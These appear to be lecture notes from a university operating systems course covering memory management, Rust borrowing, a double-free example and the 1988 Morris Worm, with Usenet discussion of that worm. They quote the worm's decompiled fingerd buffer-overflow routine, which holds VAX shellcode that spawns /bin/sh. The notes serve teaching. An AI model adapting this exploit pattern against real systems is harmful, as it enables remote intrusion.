Unmanaged vs. Managed Memory Management

What does it mean for a programming language to have unmanaged memory?

What are different ways to provide management memory?

Type Safety and Garbage Collection

Why is it hard to provide automatic memory management in a language that is not type-safe?

Garbage collection for C: Hans-J. Boehm, Simple Garbage-Collector-Safety, PLDI 1996. Latest version: https://github.com/ivmai/bdwgc/.

What are the advantages and disadvantages of reference counting compare to mark-and-sweep garbage collection?

Systematic Memory Management

Paper on willy-nilly memory management: Static Detection of Dynamic Memory Errors (PLDI 1996). The Splint tool is available from http://www.splint.org.

Pointers in Rust

What does it mean to borrow an object?

What restrictions should there be on what code can do with borrowed objects and why?

What is wrong with this code?

fn main() {
   let ref stolen : ~str;

   {
      let mine: ~str = ~"Mine, all mine!";
      stolen = &mine;
   }    

   println!("Whose is it? {:s}", *stolen);
}

How does this code establish the lifetime of the result?

fn bigger<'a>(s1: &'a str, s2: &'a str) -> &'a str {
    if s1.len() > s2.len() { s1 } else { s2 }
}

Problem Set 3

You should have your team formed for PS3 now. If you are having trouble forming a team, make sure I know about it by the end of today.

Les noms zepto et zetta évoquent le chiffre sept (septième puissance de 10³) et la lettre « z » remplace la lettre « s » pour éviter le double emploi de la lettre « s » comme symbole. Les noms yocto et yotta sont dérivés de octo, qui évoque le chiffre huit (huitième puissance de 10³) ; la lettre « y » est ajoutée pour éviter l'emploi de la lettre « o » comme symbole à cause de la confusion possible avec le chiffre zéro.

Résolution 4 de la 19^e réunion de la CGPM (1991) (Unofficial English version). (Note that I am leaving room for one of you to produce a Yohtta server.)

comments powered by Disqus

Exam 1

Exam 1 covers Classes 1-7 and Problem Sets 0-2. It is due at 11:59pm on Thursday, 13 February.

Submit the exam using this form: [link] (I recommend writing your answers in a real editor, and cutting-and-pasting them into the web form to submit)

Concurrent Collatz Challenge

Loren Fryxell solved the Concurrent Collatz Challenge!

His code is here: https://github.com/lorenfryxell/cs4414-findcollatz.

Memory Management

What does this program do?

int main(int _argc, char **_argv) {
  int *x = (int *) malloc (sizeof(*x));
  *x = 4414;
  free(x);
  free(x);
  printf("x = %d\n", *x);
  return 0;
}

Morris Worm

What's the greatest software ever written?

Charles Babcock's answer: What's the Greatest Software Ever Written?, InformationWeek, 11 August 2006.

So there you have it: The single Greatest Piece of Software Ever, with the broadest impact on the world, was BSD 4.3. Other Unixes were bigger commercial successes. But as the cumulative accomplishment of the BSD systems, 4.3 represented an unmatched peak of innovation. BSD 4.3 represents the single biggest theoretical undergirder of the Internet. Moreover, the passion that surrounds Linux and open source code is a direct offshoot of the ideas that created BSD: a love for the power of computing and a belief that it should be a freely available extension of man's intellectual powers--a force that changes his place in the universe.

USL (AT&T) vs. BSDi (Berkeley) settlement agreement.

Challenge: find the 3 lines of code that were removed to make 4.4BSD-lite.

Memory Management Failures

"Great software" doesn't necessarily mean no crappy code. Excerpts from BSD4.3 fingerd.c [full code]:

/*
 * Copyright (c) 1983 The Regents of the University of California.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms are permitted
 * provided that the above copyright notice and this paragraph are
 * duplicated in all such forms and that any documentation,
 * ...
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
 * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
 */

...

main(argc, argv)
int argc;
char *argv[];
{
  register char *sp;
  char line[512];
  struct sockaddr_in sin;
  int i, p[2], pid, status;
  FILE *fp;
  char *av[4];

  i = sizeof (sin);
  if (getpeername(0, &sin, &i) < 0)
     fatal(argv[0], "getpeername");
  if (gets(line, stdin) == NULL)
     exit(1);
  sp = line;
  ...
  if ((pid = fork()) == 0) {
    close(p[0]);
    if (p[1] != 1) {
      dup2(p[1], 1);
      close(p[1]);
    }
    execv("/usr/ucb/finger", av);
    _exit(1);
  }
  ...
}

Morris Worm code to exploit fixed size buffer in BSD 4.3 fingerd.

...
static test_connection(rdfd, wrfd, time)            /* x476c,<waith
it+2278> */
     int rdfd, wrfd, time;
{
    char combuf[100], numbuf[100];

    sprintf(numbuf, XS("%d"), random() & 0x00ffffff);
    sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf);
    send_text(wrfd, combuf);
    return wait_for(rdfd, numbuf, time);
}
...

/* This routine exploits a fixed 512 byte input buffer in a VAX running
 * the BSD 4.3 fingerd binary.  It send 536 bytes (plus a newline) to
 * overwrite six extra words in the stack frame, including the return
 * PC, to point into the middle of the string sent over.  The instructions
 * in the string do the direct system call version of execve("/bin/sh"). */

static try_finger(host, fd1, fd2)          /* 0x49ec,<just_return+378 */
     struct hst *host;
     int *fd1, *fd2;
{
    int i, j, l12, l16, s;
    struct sockaddr_in sin;         /* 36 */
    char unused[492];
    int l552, l556, l560, l564, l568;
    char buf[536];          /* 1084 */
    int (*save_sighand)();          /* 1088 */

    save_sighand = signal(SIGALRM, justreturn);

    for (i = 0; i < 6; i++) {           /* 416,608 */
    if (host->o48[i] == 0)
        continue;           /* 600 */
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0)
        continue;
        bzero(&sin, sizeof(sin));
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = host->o48[i];
        sin.sin_port = IPPORT_FINGER;

        alarm(10);
        if (connect(s, &sin, sizeof(sin)) < 0) {
            alarm(0);
            close(s);
                continue;
            }
            alarm(0);
            break;
    }
    if (i >= 6)
    return 0;               /* 978 */
    for(i = 0; i < 536; i++)               /* 628,654 */
    buf[i] = '\0';
    for(i = 0; i < 400; i++)
    buf[i] = 1;
    for(j = 0; j < 28; j++)
    buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j];  
    /* constant string x200a0 */

    /* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */
    /* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */

    l556 = 0x7fffe9fc;                                                          /* Rewrite part of the stack frame */
    l560 = 0x7fffe8a8;
    l564 = 0x7fffe8bc;
    l568 = 0x28000000;
    l552 = 0x0001c020;

#ifdef sun
    l556 = byte_swap(l556);         /* Reverse the word order for the */
    l560 = byte_swap(l560);                /* VAX (only Suns have to do this) */
    l564 = byte_swap(l564);
    l568 = byte_swap(l568);
    l552 = byte_swap(l552);
#endif sun

    write(s, buf, sizeof(buf));         /* sizeof == 536 */
    write(s, XS("\n"), 1);
    sleep(5);
    if (test_connection(s, s, 10)) {
    *fd1 = s;
    *fd2 = s;
    return 1;
    }
    close(s);
    return 0;
}

Selections from mailing list archives: (the whole archived discussion is quite interesting and provides a glimpse into what the Internet was like back in 1988)

From: [email protected]
Newsgroups: comp.protocols.tcp-ip
Subject: (none)
Message-ID: <[email protected]>
Date: 3 Nov 88 08:34:13 GMT
Sender: [email protected]
Organization: The Internet
Lines: 19

A Possible virus report:

There may be a virus loose on the internet.

Here is the gist of a message Igot:

I'm sorry.

Here are some steps to prevent further transmission:

1) don't run fingerd, or fix it to not overrun its stack when reading
arguments.

2) recompile sendmail w/o DEBUG defined

3) don't run rexecd

Hope this helps, but more, I hope it is a hoax.
qui

From: [email protected] (a.v.reed)
Newsgroups: comp.protocols.tcp-ip,comp.unix.wizards
Subject: Re: a holiday gift from Robert "wormer" Morris
Summary: What professionalism is all about
Message-ID: <[email protected]>
Date: 8 Nov 88 18:53:31 GMT
References: <[email protected]> <[email protected]> <[email protected]>
Distribution: na
Organization: AT&T, Middletown NJ
Lines: 25

In article <[email protected]>, dre%[email protected] (David Emberson) writes:
< In article <[email protected]>, [email protected] (Steve Elias) writes:
< > "Wormer" Morris has quite a career ahead of him, i'll bet.
< > he has done us all a favor by benevolently bashing bsd 'security'.
< 
< I knew about this sendmail bug at least four years ago, courtesy of Matt
< Bishop (now at Dartmouth). He wrote a paper detailing at least a half dozen
< holes in the Unix system and methods for constructing trojan horses which was
< so dangerous that he responsibly decided not to publish it, but instead to
< give selected copies to people who could fix some of the problems.  He also
< wrote an article for the Usenix newsletter, ;login, which explained how to
< write secure setuid shell scripts--a major source of security holes.  Matt did
< not "benevolently bash" anyone's machines.  His behaviour, while unsung by
< the press and the Usenet community, is an example of the highest in profession-
< al and academic standards.  This is the kind of behaviour that we should be
< extolling.

Really? In my book, a key component of professionalism is "owning
the problem". That means you work it until it gets fixed. "Giving
selected copies to people who could fix some of the problems"
(they didn't) is not enough.  Morris did what was necessary to get
the problems fixed. For that, many of us are grateful. And yes,
some of us LIKE people who "own the problem" until it is solved.

            Adam Reed ([email protected])

Received: from ucbvax.Berkeley.EDU by SRI-NIC.ARPA with TCP; Mon, 14 Nov 88 00:22:51 PST
Received: by ucbvax.Berkeley.EDU (5.59/1.31)
      id AA11507; Sun, 13 Nov 88 09:16:06 PST
Received: from USENET by ucbvax.Berkeley.EDU with netnews
      for [email protected] ([email protected])
      (contact [email protected] if you have questions)
Date: 13 Nov 88 14:40:11 GMT
From: [email protected]  (Sean McLinden)
Organization: Decision Systems Lab., Univ. of Pittsburgh, PA.
Subject: Re: Crackers and Worms
Message-Id: <[email protected]>
References: <[email protected]>, <[email protected]>, <[email protected]>
Sender: [email protected]
To: [email protected]

I feel, in part, responsible for some of this discussion since I commented
that the bug(s) were well known by many system programmers prompting the
response "Well I didn't know about it?" or "Why didn't you tell anyone?"

It is clear from Rick Adams' comments that 'not wanting to tip anyone off'
is no excuse. Even binary-only sites can be protected fairly rapidly if
the appropriate channels are used.

Specifically:

fingerd.c: This bug (the use of gets() with a fixed buffer size), is
commonly used as an example of poor programming technique in C programming
courses. There are a lot of these in user contributed software and a
few more were present in earlier versions of Berkeley unix. It didn't
occur to me to look for it in daemon sources until we detected the worm
because I never really had occasion to look at fingerd, but problematic
nature of that particular programming style is well known. One problem
may be that many people learn C by example, not formal instruction. In
that mode, you look more towards what can go right than what can go
wrong. Perhaps someone could write a book on 'How NOT to program in C!'

...
Most of my system work is goal-oriented. My default mode is not to
be always thinking "How can I exploit this to invade thousands of
machines across the country?". The best I am capable of is to remember
those things that I have noticed in the past and reconsider then in
light of a new context (that of a security problem). Now I am prompted
to look more closely at sources, not with the idea of making things
more efficient, but with the goal of making them more secure.

In the 14th century Marco Polo brought Chinese technology to the west.
In particular, he brought fireworks which the Chinese had used to amuse
themselves for centuries. It was Western culture that first exploited
this technology for warfare. The Chinese had only peaceful applications
in mind.

It accomplishes little to flame those people who knew the flaws of
BSD anymore than it does to blame the Chinese for modern warfare. Maybe
we should all be a little more suspicious (after what has happened
we probably will be). The point is that that what happened with the
worm could be attributed as much to the mindset of the Unix community
as to Morris' programming skills (probably more so the former). What
seems to be obvious problems in the system are only so in the context
of their exploitation by people with different orientations than
ourselves. It was an oversight (and I, for one, am reassured), that
the potential for harm did not occur to all of us, earlier.

There are people whose job it is not to promote open systems but to do
nothing but determine what are the security problems with any system.
They constantly operate in the mindset of someone attempting to
break a system. They work for industry, DoD, NSA, the FBI, and a lot
of speciality security firms. A better question is: If those people
knew why didn't THEY tell anyone?

Sean McLinden
Decision Systems Laboratory

Paul Graham, Undergraduation: (if you don't know what you should be doing in college, or what you want to do when you "grow up", the whole essay is very much worth reading!)

So it's kind of misleading to ask whether you'll be at home in grad school, because very few people are quite at home in computer science. The whole field is uncomfortable in its own skin. So the fact that you're mainly interested in hacking shouldn't deter you from going to grad school. Just be warned you'll have to do a lot of stuff you don't like.

Number one will be your dissertation. Almost everyone hates their dissertation by the time they're done with it. The process inherently tends to produce an unpleasant result, like a cake made out of whole wheat flour and baked for twelve hours. Few dissertations are read with pleasure, especially by their authors.

But thousands before you have suffered through writing a dissertation. And aside from that, grad school is close to paradise. Many people remember it as the happiest time of their lives. And nearly all the rest, including me, remember it as a period that would have been, if they hadn't had to write a dissertation.

The danger with grad school is that you don't see the scary part upfront. PhD programs start out as college part 2, with several years of classes. So by the time you face the horror of writing a dissertation, you're already several years in. If you quit now, you'll be a grad-school dropout, and you probably won't like that idea. When Robert got kicked out of grad school for writing the Internet worm of 1988, I envied him enormously for finding a way out without the stigma of failure.

Note that Morris did have to serves three year probation, 400 hours of community service, and pay at $10,000 fine. So, as much as Paul Graham envies his approach, I definitely would not recommend it to anyone! (and punishments are much more severe now). (Robert Morris, Jr. did end up finishing his PhD and is now a professor at MIT, currently teaching a graduate Distributed Systems Course, where students are doing assignments using a wacky, new language with limited documentation that does not make it convenient to write code that contains easily exploitable buffer overflow vulnerabilities!)

comments powered by Disqus